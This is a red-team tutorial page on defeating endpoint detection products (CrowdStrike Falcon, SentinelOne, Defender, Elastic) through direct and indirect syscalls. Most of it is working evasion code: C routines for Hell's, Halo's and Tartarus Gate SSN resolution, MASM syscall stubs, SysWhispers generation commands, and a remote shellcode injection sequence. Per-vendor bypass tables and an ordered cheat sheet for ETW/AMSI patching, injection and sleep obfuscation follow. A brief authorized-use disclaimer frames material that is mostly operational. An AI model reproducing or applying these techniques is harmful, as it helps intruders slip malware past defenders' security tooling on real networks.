6.2 Syscall Evasion Deep Dive

6.2 Syscall-Based Evasion — Deep Dive

BLUF: User-mode EDR hooks live in ntdll.dll. Every hook is a JMP instruction the EDR vendor inserted at the top of a syscall wrapper. Direct syscalls skip those wrappers entirely — you emit the raw syscall instruction with the correct System Service Number yourself. Indirect syscalls go further: they preserve a legitimate call stack by jumping into ntdll's own syscall instruction rather than emitting one in your code. This is the current gold standard for bypassing CrowdStrike Falcon, SentinelOne, and MDE behavioral detection.

Note

Sections

  1. Why Syscalls Beat API Unhooking · 2. SSN Resolution — Hell's Gate / Halo's Gate / Tartarus Gate · 3. Direct Syscalls (SysWhispers2) · 4. Indirect Syscalls (SysWhispers3) · 5. Combining with Sleep Obfuscation · 6. Detection Surface & Countermeasures · 7. Lab Validation Procedure · 8. Quick-Reference Cheat Sheet
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.

graph TB
    Hook[EDR Hook in ntdll] --> |intercepts| API[Win32 API Call]
    API --> |normal path| Kernel[Kernel]

    Direct[Direct Syscall] --> |bypasses hook| Kernel
    Indirect[Indirect Syscall] --> |JMP into ntdll stub| Syscall_Instr[syscall instruction in ntdll]
    Syscall_Instr --> Kernel

    Direct --> |call stack| BadStack[RIP outside ntdll — DETECTED]
    Indirect --> |call stack| GoodStack[RIP inside ntdll — CLEAN]

    style Hook fill:#cc0000,color:#ffffff
    style BadStack fill:#ffaa00
    style GoodStack fill:#006600,color:#ffffff
    style Kernel fill:#0066cc,color:#ffffff

MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1055 Process Injection Defense Evasion Injecting without triggering hooked APIs
T1055.001 DLL Injection Defense Evasion NtMapViewOfSection via indirect syscall
T1562.001 Disable or Modify Tools Defense Evasion Bypassing EDR hooks via syscall layer
T1027.007 Dynamic API Resolution Defense Evasion Runtime SSN resolution (Hell's Gate)
T1106 Native API Execution Nt* function calls direct to kernel

Section 1 — Why Syscalls Beat API Unhooking

Before direct syscalls, the standard approach was ntdll unhooking: read a clean copy of ntdll.dll from disk (or a suspended process), overwrite the hooked in-memory .text section with clean bytes. This works — but has two problems:

Problem Impact
Reading ntdll from disk is monitored Minifilter drivers (EDR's kernel component) alert on C:\Windows\System32\ntdll.dll opens from suspicious processes
Unhooking is a one-time operation If the EDR re-hooks after the fact (some do), you're back to square one
The unhook itself is a detectable pattern CrowdStrike Falcon specifically hunts for .text section overwrites of system DLLs

Direct syscalls avoid these problems entirely — you never touch the hooked functions. You resolve the SSN (the kernel's function ID number) at runtime, build a tiny ASM stub with mov eax, SSN; syscall; ret, and call the kernel directly. The EDR's JMP instruction in ntdll is never executed.

Indirect syscalls fix the one weakness of direct syscalls — the call stack. When you emit a syscall instruction in your own code, the return address in the call stack points into your shellcode region, which is not backed by any known DLL. CrowdStrike Falcon and Elastic EDR inspect call stacks on every syscall and flag exactly this. Indirect syscalls jump into ntdll's own syscall instruction, so the return address looks legitimate.


Section 2 — SSN Resolution Techniques

The System Service Number (SSN) is the integer argument to mov eax, SSN in every ntdll syscall stub. SSNs change between Windows versions and patch levels — you must resolve them at runtime, not hardcode them.

Hell's Gate (unhoooked functions)

// Hell's Gate: resolve SSN from an unhooked ntdll function stub
// The standard ntdll stub looks like:
//   4C 8B D1           mov r10, rcx
//   B8 XX XX XX XX     mov eax, <SSN>
//   0F 05              syscall
//   C3                 ret
//
// Find the function, check byte[0] == 0x4C (not hooked), read SSN from bytes[4:8]

typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;      // ntdll function address
    DWORD64 dwHash;        // function name hash (for obfuscated lookup)
    WORD    wSystemCall;   // resolved SSN
} VX_TABLE_ENTRY;

BOOL GetSyscallSSN(PVOID pFuncAddr, PWORD pSsn) {
    PBYTE stub = (PBYTE)pFuncAddr;

    // Check: is the first instruction 'mov r10, rcx' (0x4C 0x8B 0xD1)?
    if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1) {
        // Next instruction: 'mov eax, SSN' (0xB8 followed by 4-byte SSN)
        if (stub[3] == 0xB8) {
            *pSsn = *(WORD*)(&stub[4]);
            return TRUE;
        }
    }
    return FALSE; // Function is hooked or unexpected format
}

Halo's Gate (hooked functions — check neighbours)

// When stub[0] == 0xE9 (JMP — function is hooked by EDR), the SSN is unavailable directly.
// EDRs hook functions in SSN order. Adjacent functions differ by exactly 1 in SSN.
// Solution: scan forward/backward through neighbouring stubs and derive the SSN.

BOOL GetSyscallSSN_HalosGate(PVOID pFuncAddr, PWORD pSsn) {
    PBYTE stub = (PBYTE)pFuncAddr;

    // Direct resolution first
    if (stub[3] == 0xB8) {
        *pSsn = *(WORD*)(&stub[4]);
        return TRUE;
    }

    // Hooked — scan neighbours (each ntdll stub is 0x20 bytes apart)
    for (int i = 1; i <= 500; i++) {
        // Check neighbour above (lower SSN)
        PBYTE above = stub - (i * 0x20);
        if (above[3] == 0xB8) {
            *pSsn = *(WORD*)(&above[4]) + i;  // SSN = neighbour + offset
            return TRUE;
        }
        // Check neighbour below (higher SSN)
        PBYTE below = stub + (i * 0x20);
        if (below[3] == 0xB8) {
            *pSsn = *(WORD*)(&below[4]) - i;  // SSN = neighbour - offset
            return TRUE;
        }
    }
    return FALSE;
}

Tartarus Gate (stubless — when even neighbours are hooked)

// Tartarus Gate: when the function AND its neighbours are all hooked,
// parse the EDR's JMP destination. The EDR's trampoline function often
// contains the original ntdll bytes at a different location.
// Also used when EDR uses inline patch (overwrites bytes 4–8) instead of JMP.

// Alternative: use a clean copy from KnownDlls (always a clean ntdll)
HANDLE hSection;
UNICODE_STRING uStr;
OBJECT_ATTRIBUTES oa;

// Open \KnownDlls\ntdll.dll section object (kernel maintains clean copies)
RtlInitUnicodeString(&uStr, L"\\KnownDlls\\ntdll.dll");
InitializeObjectAttributes(&oa, &uStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_QUERY, &oa);

// Map it into current process and read SSNs from the clean copy
// Avoids disk reads (minifilter-safe) and gets unhooked function bytes

Section 3 — Direct Syscalls (SysWhispers2 Style)

Direct syscalls embed the syscall instruction in your code. Fast, effective, but the call stack shows the syscall originated outside ntdll.

ASM Stub Structure

; NtAllocateVirtualMemory direct syscall stub
; Generated by SysWhispers2 / written manually for custom loaders

NtAllocateVirtualMemory PROC
    mov [rsp + 8], rcx              ; Save register home space
    mov [rsp + 16], rdx
    mov [rsp + 24], r8
    mov [rsp + 32], r9
    sub rsp, 28h
    mov ecx, 0FFFFFFFFh             ; ProcessHandle = CURRENT_PROCESS (-1)
    ; --- SSN resolved at runtime and patched into this stub ---
    mov eax, 18h                    ; SSN for NtAllocateVirtualMemory (example — Win10 22H2)
    syscall                         ; Jump to kernel — bypasses ALL user-mode hooks
    add rsp, 28h
    ret
NtAllocateVirtualMemory ENDP

SysWhispers2 — Practical Integration

# Install SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2
cd SysWhispers2

# Generate syscall stubs for specific functions (only what you need)
python3 SysWhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory,NtQueueApcThread,NtOpenProcess \
    --out-file syscalls \
    --arch x64

# Output: syscalls.h, syscalls.c, syscalls-asm.asm
# Include these in your Visual Studio project
# Link the .asm file as a MASM assembly source
// Usage in your loader after including syscalls.h:
#include "syscalls.h"

// Allocate memory in remote process — no hooked API touched
LPVOID lpBaseAddress = NULL;
SIZE_T regionSize = shellcodeLen;

NTSTATUS status = NtAllocateVirtualMemory(
    hProcess,
    &lpBaseAddress,
    0,
    &regionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

// Write shellcode — no hooked API touched
SIZE_T bytesWritten;
NtWriteVirtualMemory(hProcess, lpBaseAddress, shellcode, shellcodeLen, &bytesWritten);

// Create thread — no hooked API touched
HANDLE hThread;
NtCreateThreadEx(
    &hThread, THREAD_ALL_ACCESS, NULL,
    hProcess, lpBaseAddress, NULL,
    FALSE, 0, 0, 0, NULL
);

OPSEC (direct syscall weakness): CrowdStrike Falcon 7.x+ performs call stack analysis on every syscall. When the kernel returns, Falcon checks the return address. If it points into a [MEM_PRIVATE] or unbacked RWX region rather than a known DLL — it flags immediately. This is why indirect syscalls are now the minimum bar for mature EDR environments.


Section 4 — Indirect Syscalls (SysWhispers3 Style)

Instead of emitting syscall in your code, you jump to the syscall instruction inside ntdll's own stub. The return address the kernel sees is inside ntdll — clean.

ASM Stub with JMP

; Indirect syscall stub — NtAllocateVirtualMemory
; pSyscallInstr must be resolved at runtime to the address of 'syscall' inside ntdll

extern pSyscallInstr: QWORD     ; Global: address of 'syscall' instruction in ntdll

NtAllocateVirtualMemory PROC
    mov [rsp + 8], rcx
    mov [rsp + 16], rdx
    mov [rsp + 24], r8
    mov [rsp + 32], r9
    sub rsp, 28h
    mov eax, 18h                ; SSN — resolved at runtime
    jmp QWORD PTR [pSyscallInstr]  ; JMP into ntdll — return addr = inside ntdll
NtAllocateVirtualMemory ENDP

Resolving the Syscall Instruction Address

// Find the address of the 'syscall; ret' sequence inside any ntdll stub
// Use an unhooked function (e.g., NtClose) as the anchor

PVOID FindSyscallInstr(LPCSTR funcName) {
    PBYTE stub = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);

    // Walk the stub looking for 0x0F 0x05 (syscall opcode)
    for (int i = 0; i < 25; i++) {
        if (stub[i] == 0x0F && stub[i+1] == 0x05) {
            return (PVOID)(stub + i);
        }
    }
    return NULL;
}

// Store globally:
PVOID pSyscallInstr = FindSyscallInstr("NtClose");
// NtClose is rarely hooked — safe anchor for indirect syscalls

SysWhispers3 — Practical Integration

# SysWhispers3 adds indirect syscall support over SysWhispers2
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3

# Generate indirect syscall stubs
python3 SysWhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory,NtQueueApcThread \
    --out-file syscalls \
    --arch x64 \
    --syscall-instruction-type indirect    # KEY: use 'jmp' instead of 'syscall'

# Additional options:
#   --rand-seed <seed>   Randomize stub layout (defeats static pattern matching)
#   --verbose            Show generated ASM for review

OPSEC: For Havoc's Demon agent and custom loaders, prefer inline indirect syscall stubs rather than the SysWhispers3 .asm file approach — it reduces the DLL/EXE artifact footprint and makes the stubs harder to extract statically.


Section 5 — Combining with Sleep Obfuscation

Indirect syscalls solve the call stack problem during active API calls. But between check-ins, your beacon sits idle in memory. Sleep obfuscation closes the remaining detection window.

The stack during sleep:

Recommended combination for mature EDR environments:

Indirect Syscalls (SysWhispers3)
    +
Sleep Obfuscation (Ekko or Ziggurat)
    +
Stack Spoofing (SilentMoonwalk or Ziggurat built-in)
    +
PE Header Stomp (post-reflective-load, overwrite MZ magic)

This combination eliminates:

See 6.3 Sleep Stack Evasion.md for detailed implementation of the sleep + stack side.


Section 6 — Detection Surface & Countermeasures

Detection Mechanism Triggered By Mitigation
Call stack analysis (Falcon) Direct syscall — RIP outside ntdll Indirect syscalls (SysWhispers3)
SSN value anomaly Wrong SSN for Windows version Runtime Hell's Gate resolution
ASM stub signature (YARA) Known SysWhispers byte patterns Randomize stub layout (--rand-seed)
Kernel ETW callbacks PsSetCreateProcessNotifyRoutine still fires ETW patch (EtwEventWrite → RET) first
Thread call stack at rest Shellcode frames visible to memory scanner Stack spoofing (SilentMoonwalk/Ziggurat)
pSyscallInstr in memory Recognizable global pointer pattern Resolve per-call, don't store globally

EDR-specific notes:

EDR Primary Syscall Detection Method Best Counter
CrowdStrike Falcon Call stack return address inspection Indirect syscalls + SilentMoonwalk
SentinelOne Kernel ETW + call stack Indirect syscalls + ETW patch
Microsoft Defender for Endpoint (MDE) Memory integrity scanning + call stack Indirect syscalls + PE header stomp
Elastic Defend Kernel callbacks + memory scanner Indirect syscalls + Ekko sleep obf
Carbon Black API sequence behavioral Avoid sequential VirtualAlloc→Write→Thread pattern; use APC injection

Section 7 — Lab Validation Procedure

Goal: Confirm your syscall approach is actually invisible — don't assume, verify.

Step 1 — Lab Setup

VM 1 (Target):  Windows 10/11 22H2 or later
                CrowdStrike Falcon free trial OR Elastic Defend (free)
                Sysmon v15+ with SwiftOnSecurity config

VM 2 (Attacker): Kali / Ubuntu
                 Sliver or Havoc C2
                 Your custom loader compiled with SysWhispers3

Step 2 — Baseline (no evasion)

# On target VM: run a standard msfvenom shellcode loader
# Check EDR console — note which alerts fire
# Common baseline alerts:
#   - "Suspicious Process Creation" (CreateRemoteThread)
#   - "Injection into system process"
#   - "Syscall from unbacked memory" (direct syscall detection)

Step 3 — Test with Direct Syscalls

Expected: CrowdStrike / Elastic alert on "syscall from unbacked memory"
If no alert: direct syscall sufficient for this policy level

Step 4 — Test with Indirect Syscalls

Expected: No "syscall from unbacked memory" alert
Verify: Check Sysmon Event ID 8 (CreateRemoteThread) — should not appear
        Check EDR telemetry — injection should be silent

Step 5 — Memory Scan Verification

# On target VM: run pe-sieve to simulate memory scanner
.\pe-sieve64.exe /pid <beacon_pid> /imp 3 /shellc 1
# If sleep obfuscation is active: pe-sieve should find nothing during sleep window
# If no sleep obfuscation: pe-sieve will find your shellcode and PE headers

Step 6 — Verify Call Stack

# During active tasking: check the beacon thread's call stack
# Use Process Hacker or WinDbg:
# !thread <thread_id>
# Legitimate-looking stack: should show ntdll → kernel32 frames
# Not: shellcode_region + 0x4a3 → ...

OPSEC: Always run validation in a lab that mirrors the exact EDR version and policy level of the target. A bypass that works against CrowdStrike Falcon at default policy may fail at "Aggressive" policy level. Policy level matters as much as the product name.


Section 8 — Quick-Reference Cheat Sheet

# 1. Generate SysWhispers3 indirect syscall stubs
git clone https://github.com/klezVirus/SysWhispers3 && cd SysWhispers3
python3 SysWhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory,NtQueueApcThread,NtOpenProcess \
    --out-file sw3 \
    --arch x64 \
    --syscall-instruction-type indirect

# 2. Include sw3.h, sw3.c, sw3-asm.asm in your loader project
#    Set sw3-asm.asm → Build Action: MASM in Visual Studio

# 3. Hell's Gate SSN resolution pattern (C):
PBYTE stub = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
WORD ssn = 0;
if (stub[3] == 0xB8) ssn = *(WORD*)(&stub[4]);         // Clean
else { /* Halo's Gate: scan neighbours ±0x20 */ }

# 4. Syscall instruction anchor (indirect):
PBYTE anchor = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtClose");
for (int i = 0; i < 25; i++) {
    if (anchor[i] == 0x0F && anchor[i+1] == 0x05) {
        pSyscallInstr = anchor + i; break;
    }
}

# 5. Full evasion stack ordering:
#    ETW patch → AMSI patch → unhook ntdll (Perun's Fart optional)
#    → inject via indirect syscalls (SysWhispers3) 
#    → enable sleep obfuscation (Ekko/Ziggurat)
#    → stomp PE header in injected region

Key tools:

Tool Purpose Link
SysWhispers2 Direct syscall stub generation github.com/jthuraisamy/SysWhispers2
SysWhispers3 Indirect syscall stub generation github.com/klezVirus/SysWhispers3
Hell's Gate SSN resolution reference impl github.com/vxunderground/VXUG-Papers
RecycledGate Combined Hell's + Halo's + Tartarus github.com/thefLink/RecycledGate
CallStackSpoofer Call stack spoofing github.com/mgeeky/CallStackMasker
pe-sieve Memory scanner for lab validation github.com/hasherezade/pe-sieve

Part of the Red Teaming 101 series. Parent: P6 — EDR Bypass & Evasion · See also: Sleep Obfuscation & Stack Spoofing